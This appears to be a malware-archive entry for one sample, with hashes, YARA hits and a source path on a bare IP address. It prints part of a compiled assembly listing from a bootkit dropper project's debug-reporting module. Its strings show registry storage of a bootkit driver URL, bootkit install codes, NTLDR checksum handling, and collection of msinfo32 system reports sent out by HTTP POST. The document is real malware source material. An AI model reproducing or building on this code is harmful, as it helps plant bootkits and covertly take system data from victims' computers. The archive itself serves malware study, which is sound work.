Warning! We are currently in recovery mode. The complete archive is not available.

Sample details: a3a6a08c6cf33e0cd42cbcf2c9654f0f --

Hashes
MD5: a3a6a08c6cf33e0cd42cbcf2c9654f0f
SHA1: 450c4a0ba8b0e57f4169774bbde8f86791dee643
SHA256: cbd2eb9b5852b01ecb763b5ed3d55dd3d4b9d220efff7533b2a8fb60581efa3c
SSDEEP: 1536:AjXtznpivV9/FZkEtGbT9GOrjeCewjefUY9p5ahfVb1JTd:P8EtGbRKCe0Td
Details
File Type: BSD
Yara Hits
CuckooSandbox/embedded_win_api | YRP/domain | YRP/url | YRP/contentis_base64 | YRP/Antivirus |
Source
http://103.68.190.250/Sources//Advance/BJWJ/Builds/BootkitDropper/Objs/Release%20DEBUGCONFIG/DbgRpt.asm
Strings
		; Listing generated by Microsoft (R) Optimizing Compiler Version 15.00.30729.01 
	TITLE	e:\Projects\progs\Petrosjan\BJWJ\source\Common\DbgRpt.cpp
	.686P
	include listing.inc
	.model	flat
INCLUDELIB OLDNAMES
PUBLIC	??$DBGOutMessage@PBDPBDPAUDebugReportSettings@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUDebugReportSettings@@@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,DebugReportSettings *>
PUBLIC	??$pushargEx@$01$0JAKAJHOG@PAUHKEY__@@PADHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PADHHHJHPAPAU0@PAK@Z ; pushargEx<2,2426443750,HKEY__ *,char *,int,int,int,long,int,HKEY__ * *,unsigned long *>
PUBLIC	??$pushargEx@$01$0BIACOHMI@PAUHKEY__@@PADHPAKPAEPAK@@YAPAXPAUHKEY__@@PADHPAKPAE2@Z ; pushargEx<2,402843592,HKEY__ *,char *,int,unsigned long *,unsigned char *,unsigned long *>
PUBLIC	??$DBGOutMessage@PBDPBDKK@DBGRPTDEBGTEMPLATES@@YAXPBD0KK@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long,unsigned long>
PUBLIC	??$DBGOutMessage@PBDPBDPAUHKEY__@@@DBGRPTDEBGTEMPLATES@@YAXPBD0PAUHKEY__@@@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,HKEY__ *>
PUBLIC	??$pushargEx@$01$0DOEAAPNG@PAUHKEY__@@PADHHPBEK@@YAPAXPAUHKEY__@@PADHHPBEK@Z ; pushargEx<2,1044385750,HKEY__ *,char *,int,int,unsigned char const *,unsigned long>
PUBLIC	??$DBGOutMessage@PBDPBD_NPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,bool,char *>
PUBLIC	??$DBGOutMessage@PBDPBDPADPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD11@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *,char *>
PUBLIC	??$DBGOutMessage@PBDPBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD00@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char const *>
PUBLIC	??$pushargEx@$00$0HILAAMHO@PADH@@YAPAXPADH@Z	; pushargEx<1,2024803454,char *,int>
PUBLIC	??$pushargEx@$00$0JMEIAOCE@PAU_OSVERSIONINFOEXA@@@@YAPAXPAU_OSVERSIONINFOEXA@@@Z ; pushargEx<1,2621967908,_OSVERSIONINFOEXA *>
PUBLIC	??$pushargEx@$06$0MJFNIFFA@HPADH_N@@YAPAXHPADH_N@Z ; pushargEx<7,3378349392,int,char *,int,bool>
PUBLIC	??$DBGOutMessage@PBDPBD_N@DBGRPTDEBGTEMPLATES@@YAXPBD0_N@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,bool>
PUBLIC	??$DBGOutMessage@PBDPBD@DBGRPTDEBGTEMPLATES@@YAXPBD0@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *>
PUBLIC	??$DBGOutMessage@PBDPBDPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD1@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,char *>
PUBLIC	??$pushargEx@$00$0EGDBIKMH@PADPADHHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@@YAPAXPAD0HHHHHHPAU_STARTUPINFOA@@PAU_PROCESS_INFORMATION@@@Z ; pushargEx<1,1177651911,char *,char *,int,int,int,int,int,int,_STARTUPINFOA *,_PROCESS_INFORMATION *>
PUBLIC	??$DBGOutMessage@PBDPBDHPAXK@DBGRPTDEBGTEMPLATES@@YAXPBD0HPAXK@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,int,void *,unsigned long>
PUBLIC	??$pushargEx@$00$0EHFFIHLH@PAD@@YAPAXPAD@Z	; pushargEx<1,1196787639,char *>
PUBLIC	??$DBGOutMessage@PBDPBDPADK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADK@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,unsigned long>
PUBLIC	??$DBGOutMessage@PBDPBDPAX@DBGRPTDEBGTEMPLATES@@YAXPBD0PAX@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,void *>
PUBLIC	??$DBGOutMessage@PBDPBD_NPADPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0_NPAD2@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,bool,char *,char *>
PUBLIC	??$DBGOutMessage@PBDPBDPADKK@DBGRPTDEBGTEMPLATES@@YAXPBD0PADKK@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *,unsigned long,unsigned long>
PUBLIC	??$DBGOutMessage@PBDPBDPAD@DBGRPTDEBGTEMPLATES@@YAXPBD0PAD@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,char *>
PUBLIC	??$pushargEx@$01$0NLDFFFDE@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z ; pushargEx<2,3677705524,HKEY__ *>
PUBLIC	??$DBGOutMessage@PBDPBDK@DBGRPTDEBGTEMPLATES@@YAXPBD0K@Z ; DBGRPTDEBGTEMPLATES::DBGOutMessage<char const *,char const *,unsigned long>
PUBLIC	??$pushargEx@$01$0JAKAJHPA@PAUHKEY__@@PA_WHHHJHPAPAU1@PAK@@YAPAXPAUHKEY__@@PA_WHHHJHPAPAU0@PAK@Z ; pushargEx<2,2426443760,HKEY__ *,wchar_t *,int,int,int,long,int,HKEY__ * *,unsigned long *>
PUBLIC	??$pushargEx@$00$0CNEALIOG@PAD@@YAPAXPAD@Z	; pushargEx<1,759216358,char *>
PUBLIC	??$pushargEx@$01$0DOEAAPMA@PAUHKEY__@@PB_WHHPBEK@@YAPAXPAUHKEY__@@PB_WHHPBEK@Z ; pushargEx<2,1044385728,HKEY__ *,wchar_t const *,int,int,unsigned char const *,unsigned long>
PUBLIC	??_C@_0DI@ELHNBBCH@Start?5initialize?5debug?5reporting@ ; `string'
PUBLIC	??_C@_0BA@IJGPFGLI@DebugReportInit?$AA@		; `string'
PUBLIC	??_C@_00CNPNBAHC@?$AA@				; `string'
PUBLIC	??_C@_01GBGANLPD@0?$AA@				; `string'
PUBLIC	??_C@_01HCONENDN@?$HL?$AA@			; `string'
PUBLIC	??_C@_01CELHOKLL@?$HN?$AA@			; `string'
PUBLIC	??_C@_0BI@DDFHHBE@Software?2Classes?2CLSID?2?$AA@ ; `string'
PUBLIC	??_C@_0BK@DMAAIPND@returning?5value_name?$DN?8?$CFs?8?$AA@ ; `string'
PUBLIC	??_C@_0N@GMJMBCEB@GetValueName?$AA@		; `string'
PUBLIC	??_C@_0BP@PEAMALPO@CreateSettingKey?$CI?$CJ?5result?$DN0x?$CFX?$AA@ ; `string'
PUBLIC	??_C@_0BJ@JGGAFNKI@DebugReportLoadParamList?$AA@ ; `string'
PUBLIC	??_C@_02DAMOAIFE@PL?$AA@			; `string'
PUBLIC	??_C@_0CJ@MFOEILLB@RegQueryValueEx?$CI?$CJ?5result?$DN?$CFu?5Valu@ ; `string'
PUBLIC	??_C@_0BL@DOMNLNJP@Finished?4?$CIparam_list?$DN?8?$CFs?8?$CJ?$AA@ ; `string'
PUBLIC	??_C@_0BJ@OFKOACDB@DebugReportSaveParamList?$AA@ ; `string'
PUBLIC	??_C@_0BK@LMJLBNCE@RegSetValueEx?$CI?$CJ?5result?$DN?$CFu?$AA@ ; `string'
PUBLIC	??_C@_0DH@HCFIIEIA@DebugReportLoadParamList?$CI?$CJ?5resul@ ; `string'
PUBLIC	??_C@_0BI@EGLEOLDN@DebugReportLoadSettings?$AA@	; `string'
PUBLIC	??_C@_0EG@ECPPPBOH@Parsing?5arguments?5results?3?5PlugN@ ; `string'
PUBLIC	??_C@_01OGPIMHDM@?$DP?$AA@			; `string'
PUBLIC	??_C@_0N@MIJAIIJB@Sleep?510?5min?$AA@		; `string'
PUBLIC	??_C@_0CA@GDIGCGHJ@DebugReportUpdateSettingsThread?$AA@ ; `string'
PUBLIC	??_C@_0BN@JMCGPHE@Started?5with?5ParamsList?$DN?8?$CFs?8?$AA@ ; `string'
PUBLIC	??_C@_0BI@FEPNPBLK@DebugReportSaveSettings?$AA@	; `string'
PUBLIC	??_C@_0BF@EIPNLNPN@param1?5param2?5param3?$AA@	; `string'
PUBLIC	??_C@_0DF@EEGOKPKI@BkDrop?4plug?5bktestt?5http?3?1?1test?4@ ; `string'
PUBLIC	??_C@_0M@EKCCLENP@BkDrop?4plug?$AA@		; `string'
PUBLIC	??_C@_0DE@KLOOLIPP@Settings?3?5Enabled?$DN?8?$CFd?8?5StatPrefi@ ; `string'
PUBLIC	??_C@_0BA@NHKPKECM@DebugReportTest?$AA@		; `string'
PUBLIC	??_C@_08HDFPIGCN@100_trtr?$AA@			; `string'
PUBLIC	??_C@_0EB@OKCHJEK@Started?5with?5settings?3?5Enabled?$DN?8@ ; `string'
PUBLIC	??_C@_0BG@BBKFJFCP@DebugReportStepByName?$AA@	; `string'
PUBLIC	??_C@_04CNBNFAL@step?$AA@			; `string'
PUBLIC	??_C@_03LGLGIONO@cmd?$AA@			; `string'
PUBLIC	??_C@_0P@PLNFPHIP@go?5to?5url?$DN?8?$CFs?8?$AA@	; `string'
PUBLIC	??_C@_05FDLGEGEK@ntldr?$AA@			; `string'
PUBLIC	??_C@_0BC@MHHGDLLP@DebugReportSystem?$AA@	; `string'
PUBLIC	??_C@_09GCOHINED@beforerbt?$AA@			; `string'
PUBLIC	??_C@_02EHCHIAMF@os?$AA@			; `string'
PUBLIC	??_C@_04HMPDOICP@cs01?$AA@			; `string'
PUBLIC	??_C@_0BB@MOGBJDKK@sending?5url?$DN?8?$CFs?8?$AA@ ; `string'
PUBLIC	??_C@_0BJ@JGNJPCJE@DebugReportBkInstallCode?$AA@ ; `string'
PUBLIC	??_C@_02GMHACPFF@?$CFu?$AA@			; `string'
PUBLIC	??_C@_09IJIHGPHM@bkinstall?$AA@			; `string'
PUBLIC	??_C@_03BALCFKBP@val?$AA@			; `string'
PUBLIC	??_C@_0BP@FBLCKEKM@DebugReportUpdateNtldrCheckSum?$AA@ ; `string'
PUBLIC	??_C@_04ODMANJEA@csup?$AA@			; `string'
PUBLIC	??_C@_0CA@PGCEIIN@DebugReportUpdateNtldrCheckSumm?$AA@ ; `string'
PUBLIC	??_C@_0CH@IOEBHBIP@?2Common?5Files?2Microsoft?5Shared?2M@ ; `string'
PUBLIC	??_C@_0N@MINNKPCJ@msinfo32?4exe?$AA@		; `string'
PUBLIC	??_C@_09IPFKEBPF@storefile?$AA@			; `string'
PUBLIC	??_C@_0BH@MGKGEMJB@DebugReportSendSysInfo?$AA@	; `string'
PUBLIC	??_C@_03HOKODIMJ@rep?$AA@			; `string'
PUBLIC	??_C@_0BH@IBOEMEOD@HTTP?3?3Post?$CI?$CJ?5result?5?$CFd?$AA@ ; `string'
PUBLIC	??_C@_0CF@GAGKFLF@DebugReportCreateConfigReportAnd@ ; `string'
PUBLIC	??_C@_0CA@JAGNBJAK@GetPathToMsInfo32?$CI?$CJ?5return?5?8?$CFs?$DL?$AA@ ; `string'
PUBLIC	??_C@_0CL@CBDJMNPA@GetTempNameA?$CI?$CJ?5for?5report?5file?5r@ ; `string'
PUBLIC	??_C@_0L@HJGDFBF@?5?1report?5?$CC?$AA@		; `string'
PUBLIC	??_C@_0BK@IBHPGBBG@CreateProcess?$CI?8?$CFs?8?0?5?8?$CFs?8?$CJ?$AA@ ; `string'
PUBLIC	??_C@_0CJ@JCPDIIFH@CreateProcess?5return?5?$CFd?4?$CIph?$DN0x?$CFX@ ; `string'
PUBLIC	??_C@_0BG@GLPNLDOM@Waiting?5for?5msinfo32?4?$AA@ ; `string'
PUBLIC	??_C@_0BF@CFOJDGKL@?8?$CFs?8?5attibutes?50x?$CFX?4?$AA@ ; `string'
PUBLIC	??_C@_0BJ@NENPIACF@CreateCab?$CI?$CJ?5return?50x?$CFX?4?$AA@ ; `string'
PUBLIC	??_C@_0M@OAJHFKOL@sysinfo?4txt?$AA@		; `string'
PUBLIC	??_C@_0BI@DLHIHCAH@sending?5sysinfo?5report?4?$AA@ ; `string'
PUBLIC	??_C@_0BF@EPMCGKFP@sysinfo?5report?5sent?4?$AA@	; `string'
PUBLIC	??_C@_09IHNGEBPM@finished?4?$AA@		; `string'
PUBLIC	??_C@_0N@HOKCEMKM@GetDriverUrl?$AA@		; `string'
PUBLIC	??_C@_06BFGAGGII@170_dr?$AA@			; `string'
PUBLIC	??_C@_0BN@LIFAMPDA@Url?$DN?8?$CFs?8?3?$CFu?5?$CIbuffer_size?$DN?$CFu?$CJ?$AA@ ; `string'
PUBLIC	??_C@_1HM@EDCMPNEG@?$AAS?$AAO?$AAF?$AAT?$AAW?$AAA?$AAR?$AAE?$AA?2?$AAC?$AAl?$AAa?$AAs?$AAs?$AAe?$AAs?$AA?2?$AAC?$AAL?$AAS?$AAI?$AAD?$AA?2?$AA?$HL?$AA8?$AAC?$AAB?$AA0?$AAA?$AA4?$AA1?$AA3@ ; `string'
PUBLIC	??_C@_0BM@NPKKEIGJ@RegCreateKeyExW?5return?50x?$CFX?$AA@ ; `string'
PUBLIC	??_C@_0CD@FCENCKDD@DebugReportSaveUrlForBootkitDriv@ ; `string'
PUBLIC	??_C@_15HCBMMKJC@?$AAI?$AAD?$AA?$AA@		; `string'
PUBLIC	??_C@_0BL@DOEGEMOD@RegSetValueExW?5return?50x?$CFX?$AA@ ; `string'
PUBLIC	??_C@_0BG@OKNNODJN@Url?5key?5set?5?$CIurl?$DN?$CFs?$CJ?4?$AA@ ; `string'
_DbgRptSettings DD 01H DUP (?)
;	COMDAT ??_C@_0BG@OKNNODJN@Url?5key?5set?5?$CIurl?$DN?$CFs?$CJ?4?$AA@
CONST	SEGMENT
??_C@_0BG@OKNNODJN@Url?5key?5set?5?$CIurl?$DN?$CFs?$CJ?4?$AA@ DB 'Url key'
	DB	' set (url=%s).', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_0BL@DOEGEMOD@RegSetValueExW?5return?50x?$CFX?$AA@
CONST	SEGMENT
??_C@_0BL@DOEGEMOD@RegSetValueExW?5return?50x?$CFX?$AA@ DB 'RegSetValueEx'
	DB	'W return 0x%X', 00H				; `string'
CONST	ENDS
;	COMDAT ??_C@_15HCBMMKJC@?$AAI?$AAD?$AA?$AA@
CONST	SEGMENT
??_C@_15HCBMMKJC@?$AAI?$AAD?$AA?$AA@ DB 'I', 00H, 'D', 00H, 00H, 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0CD@FCENCKDD@DebugReportSaveUrlForBootkitDriv@
CONST	SEGMENT
??_C@_0CD@FCENCKDD@DebugReportSaveUrlForBootkitDriv@ DB 'DebugReportSaveU'
	DB	'rlForBootkitDriver', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_0BM@NPKKEIGJ@RegCreateKeyExW?5return?50x?$CFX?$AA@
CONST	SEGMENT
??_C@_0BM@NPKKEIGJ@RegCreateKeyExW?5return?50x?$CFX?$AA@ DB 'RegCreateKey'
	DB	'ExW return 0x%X', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_1HM@EDCMPNEG@?$AAS?$AAO?$AAF?$AAT?$AAW?$AAA?$AAR?$AAE?$AA?2?$AAC?$AAl?$AAa?$AAs?$AAs?$AAe?$AAs?$AA?2?$AAC?$AAL?$AAS?$AAI?$AAD?$AA?2?$AA?$HL?$AA8?$AAC?$AAB?$AA0?$AAA?$AA4?$AA1?$AA3@
CONST	SEGMENT
??_C@_1HM@EDCMPNEG@?$AAS?$AAO?$AAF?$AAT?$AAW?$AAA?$AAR?$AAE?$AA?2?$AAC?$AAl?$AAa?$AAs?$AAs?$AAe?$AAs?$AA?2?$AAC?$AAL?$AAS?$AAI?$AAD?$AA?2?$AA?$HL?$AA8?$AAC?$AAB?$AA0?$AAA?$AA4?$AA1?$AA3@ DB 'S'
	DB	00H, 'O', 00H, 'F', 00H, 'T', 00H, 'W', 00H, 'A', 00H, 'R', 00H
	DB	'E', 00H, '\', 00H, 'C', 00H, 'l', 00H, 'a', 00H, 's', 00H, 's'
	DB	00H, 'e', 00H, 's', 00H, '\', 00H, 'C', 00H, 'L', 00H, 'S', 00H
	DB	'I', 00H, 'D', 00H, '\', 00H, '{', 00H, '8', 00H, 'C', 00H, 'B'
	DB	00H, '0', 00H, 'A', 00H, '4', 00H, '1', 00H, '3', 00H, '-', 00H
	DB	'0', 00H, '5', 00H, '8', 00H, '5', 00H, '-', 00H, '4', 00H, '8'
	DB	00H, '8', 00H, '6', 00H, '-', 00H, 'B', 00H, '1', 00H, '1', 00H
	DB	'0', 00H, '-', 00H, '0', 00H, '0', 00H, '4', 00H, 'B', 00H, '3'
	DB	00H, 'B', 00H, 'C', 00H, 'A', 00H, 'A', 00H, '9', 00H, 'A', 00H
	DB	'8', 00H, '}', 00H, 00H, 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_0BN@LIFAMPDA@Url?$DN?8?$CFs?8?3?$CFu?5?$CIbuffer_size?$DN?$CFu?$CJ?$AA@
CONST	SEGMENT
??_C@_0BN@LIFAMPDA@Url?$DN?8?$CFs?8?3?$CFu?5?$CIbuffer_size?$DN?$CFu?$CJ?$AA@ DB 'U'
	DB	'rl=''%s'':%u (buffer_size=%u)', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_06BFGAGGII@170_dr?$AA@
CONST	SEGMENT
??_C@_06BFGAGGII@170_dr?$AA@ DB '170_dr', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_0N@HOKCEMKM@GetDriverUrl?$AA@
CONST	SEGMENT
??_C@_0N@HOKCEMKM@GetDriverUrl?$AA@ DB 'GetDriverUrl', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_09IHNGEBPM@finished?4?$AA@
CONST	SEGMENT
??_C@_09IHNGEBPM@finished?4?$AA@ DB 'finished.', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_0BF@EPMCGKFP@sysinfo?5report?5sent?4?$AA@
CONST	SEGMENT
??_C@_0BF@EPMCGKFP@sysinfo?5report?5sent?4?$AA@ DB 'sysinfo report sent.', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0BI@DLHIHCAH@sending?5sysinfo?5report?4?$AA@
CONST	SEGMENT
??_C@_0BI@DLHIHCAH@sending?5sysinfo?5report?4?$AA@ DB 'sending sysinfo re'
	DB	'port.', 00H					; `string'
CONST	ENDS
;	COMDAT ??_C@_0M@OAJHFKOL@sysinfo?4txt?$AA@
CONST	SEGMENT
??_C@_0M@OAJHFKOL@sysinfo?4txt?$AA@ DB 'sysinfo.txt', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0BJ@NENPIACF@CreateCab?$CI?$CJ?5return?50x?$CFX?4?$AA@
CONST	SEGMENT
??_C@_0BJ@NENPIACF@CreateCab?$CI?$CJ?5return?50x?$CFX?4?$AA@ DB 'CreateCa'
	DB	'b() return 0x%X.', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_0BF@CFOJDGKL@?8?$CFs?8?5attibutes?50x?$CFX?4?$AA@
CONST	SEGMENT
??_C@_0BF@CFOJDGKL@?8?$CFs?8?5attibutes?50x?$CFX?4?$AA@ DB '''%s'' attibu'
	DB	'tes 0x%X.', 00H				; `string'
CONST	ENDS
;	COMDAT ??_C@_0BG@GLPNLDOM@Waiting?5for?5msinfo32?4?$AA@
CONST	SEGMENT
??_C@_0BG@GLPNLDOM@Waiting?5for?5msinfo32?4?$AA@ DB 'Waiting for msinfo32'
	DB	'.', 00H					; `string'
CONST	ENDS
;	COMDAT ??_C@_0CJ@JCPDIIFH@CreateProcess?5return?5?$CFd?4?$CIph?$DN0x?$CFX@
CONST	SEGMENT
??_C@_0CJ@JCPDIIFH@CreateProcess?5return?5?$CFd?4?$CIph?$DN0x?$CFX@ DB 'C'
	DB	'reateProcess return %d.(ph=0x%X pid=%d)', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0BK@IBHPGBBG@CreateProcess?$CI?8?$CFs?8?0?5?8?$CFs?8?$CJ?$AA@
CONST	SEGMENT
??_C@_0BK@IBHPGBBG@CreateProcess?$CI?8?$CFs?8?0?5?8?$CFs?8?$CJ?$AA@ DB 'C'
	DB	'reateProcess(''%s'', ''%s'')', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_0L@HJGDFBF@?5?1report?5?$CC?$AA@
CONST	SEGMENT
??_C@_0L@HJGDFBF@?5?1report?5?$CC?$AA@ DB ' /report "', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0CL@CBDJMNPA@GetTempNameA?$CI?$CJ?5for?5report?5file?5r@
CONST	SEGMENT
??_C@_0CL@CBDJMNPA@GetTempNameA?$CI?$CJ?5for?5report?5file?5r@ DB 'GetTem'
	DB	'pNameA() for report file return ''%s;', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_0CA@JAGNBJAK@GetPathToMsInfo32?$CI?$CJ?5return?5?8?$CFs?$DL?$AA@
CONST	SEGMENT
??_C@_0CA@JAGNBJAK@GetPathToMsInfo32?$CI?$CJ?5return?5?8?$CFs?$DL?$AA@ DB 'G'
	DB	'etPathToMsInfo32() return ''%s;', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_0CF@GAGKFLF@DebugReportCreateConfigReportAnd@
CONST	SEGMENT
??_C@_0CF@GAGKFLF@DebugReportCreateConfigReportAnd@ DB 'DebugReportCreate'
	DB	'ConfigReportAndSend', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_0BH@IBOEMEOD@HTTP?3?3Post?$CI?$CJ?5result?5?$CFd?$AA@
CONST	SEGMENT
??_C@_0BH@IBOEMEOD@HTTP?3?3Post?$CI?$CJ?5result?5?$CFd?$AA@ DB 'HTTP::Pos'
	DB	't() result %d', 00H				; `string'
CONST	ENDS
;	COMDAT ??_C@_03HOKODIMJ@rep?$AA@
CONST	SEGMENT
??_C@_03HOKODIMJ@rep?$AA@ DB 'rep', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_0BH@MGKGEMJB@DebugReportSendSysInfo?$AA@
CONST	SEGMENT
??_C@_0BH@MGKGEMJB@DebugReportSendSysInfo?$AA@ DB 'DebugReportSendSysInfo'
	DB	00H						; `string'
CONST	ENDS
;	COMDAT ??_C@_09IPFKEBPF@storefile?$AA@
CONST	SEGMENT
??_C@_09IPFKEBPF@storefile?$AA@ DB 'storefile', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_0N@MINNKPCJ@msinfo32?4exe?$AA@
CONST	SEGMENT
??_C@_0N@MINNKPCJ@msinfo32?4exe?$AA@ DB 'msinfo32.exe', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0CH@IOEBHBIP@?2Common?5Files?2Microsoft?5Shared?2M@
CONST	SEGMENT
??_C@_0CH@IOEBHBIP@?2Common?5Files?2Microsoft?5Shared?2M@ DB '\Common Fil'
	DB	'es\Microsoft Shared\MSInfo\', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_0CA@PGCEIIN@DebugReportUpdateNtldrCheckSumm?$AA@
CONST	SEGMENT
??_C@_0CA@PGCEIIN@DebugReportUpdateNtldrCheckSumm?$AA@ DB 'DebugReportUpd'
	DB	'ateNtldrCheckSumm', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_04ODMANJEA@csup?$AA@
CONST	SEGMENT
??_C@_04ODMANJEA@csup?$AA@ DB 'csup', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_0BP@FBLCKEKM@DebugReportUpdateNtldrCheckSum?$AA@
CONST	SEGMENT
??_C@_0BP@FBLCKEKM@DebugReportUpdateNtldrCheckSum?$AA@ DB 'DebugReportUpd'
	DB	'ateNtldrCheckSum', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_03BALCFKBP@val?$AA@
CONST	SEGMENT
??_C@_03BALCFKBP@val?$AA@ DB 'val', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_09IJIHGPHM@bkinstall?$AA@
CONST	SEGMENT
??_C@_09IJIHGPHM@bkinstall?$AA@ DB 'bkinstall', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_02GMHACPFF@?$CFu?$AA@
CONST	SEGMENT
??_C@_02GMHACPFF@?$CFu?$AA@ DB '%u', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_0BJ@JGNJPCJE@DebugReportBkInstallCode?$AA@
CONST	SEGMENT
??_C@_0BJ@JGNJPCJE@DebugReportBkInstallCode?$AA@ DB 'DebugReportBkInstall'
	DB	'Code', 00H					; `string'
CONST	ENDS
;	COMDAT ??_C@_0BB@MOGBJDKK@sending?5url?$DN?8?$CFs?8?$AA@
CONST	SEGMENT
??_C@_0BB@MOGBJDKK@sending?5url?$DN?8?$CFs?8?$AA@ DB 'sending url=''%s''', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_04HMPDOICP@cs01?$AA@
CONST	SEGMENT
??_C@_04HMPDOICP@cs01?$AA@ DB 'cs01', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_02EHCHIAMF@os?$AA@
CONST	SEGMENT
??_C@_02EHCHIAMF@os?$AA@ DB 'os', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_09GCOHINED@beforerbt?$AA@
CONST	SEGMENT
??_C@_09GCOHINED@beforerbt?$AA@ DB 'beforerbt', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_0BC@MHHGDLLP@DebugReportSystem?$AA@
CONST	SEGMENT
??_C@_0BC@MHHGDLLP@DebugReportSystem?$AA@ DB 'DebugReportSystem', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_05FDLGEGEK@ntldr?$AA@
CONST	SEGMENT
??_C@_05FDLGEGEK@ntldr?$AA@ DB 'ntldr', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_0P@PLNFPHIP@go?5to?5url?$DN?8?$CFs?8?$AA@
CONST	SEGMENT
??_C@_0P@PLNFPHIP@go?5to?5url?$DN?8?$CFs?8?$AA@ DB 'go to url=''%s''', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_03LGLGIONO@cmd?$AA@
CONST	SEGMENT
??_C@_03LGLGIONO@cmd?$AA@ DB 'cmd', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_04CNBNFAL@step?$AA@
CONST	SEGMENT
??_C@_04CNBNFAL@step?$AA@ DB 'step', 00H		; `string'
CONST	ENDS
;	COMDAT ??_C@_0BG@BBKFJFCP@DebugReportStepByName?$AA@
CONST	SEGMENT
??_C@_0BG@BBKFJFCP@DebugReportStepByName?$AA@ DB 'DebugReportStepByName', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0EB@OKCHJEK@Started?5with?5settings?3?5Enabled?$DN?8@
CONST	SEGMENT
??_C@_0EB@OKCHJEK@Started?5with?5settings?3?5Enabled?$DN?8@ DB 'Started w'
	DB	'ith settings: Enabled=''%d'' StatPrefix=''%s'' StatUrl=''%s'''
	DB	00H						; `string'
CONST	ENDS
;	COMDAT ??_C@_08HDFPIGCN@100_trtr?$AA@
CONST	SEGMENT
??_C@_08HDFPIGCN@100_trtr?$AA@ DB '100_trtr', 00H	; `string'
CONST	ENDS
;	COMDAT ??_C@_0BA@NHKPKECM@DebugReportTest?$AA@
CONST	SEGMENT
??_C@_0BA@NHKPKECM@DebugReportTest?$AA@ DB 'DebugReportTest', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0DE@KLOOLIPP@Settings?3?5Enabled?$DN?8?$CFd?8?5StatPrefi@
CONST	SEGMENT
??_C@_0DE@KLOOLIPP@Settings?3?5Enabled?$DN?8?$CFd?8?5StatPrefi@ DB 'Setti'
	DB	'ngs: Enabled=''%d'' StatPrefix=''%s'' StatUrl=''%s''', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0M@EKCCLENP@BkDrop?4plug?$AA@
CONST	SEGMENT
??_C@_0M@EKCCLENP@BkDrop?4plug?$AA@ DB 'BkDrop.plug', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0DF@EEGOKPKI@BkDrop?4plug?5bktestt?5http?3?1?1test?4@
CONST	SEGMENT
??_C@_0DF@EEGOKPKI@BkDrop?4plug?5bktestt?5http?3?1?1test?4@ DB 'BkDrop.pl'
	DB	'ug bktestt http://test.orh/gettes/tetst.php', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0BF@EIPNLNPN@param1?5param2?5param3?$AA@
CONST	SEGMENT
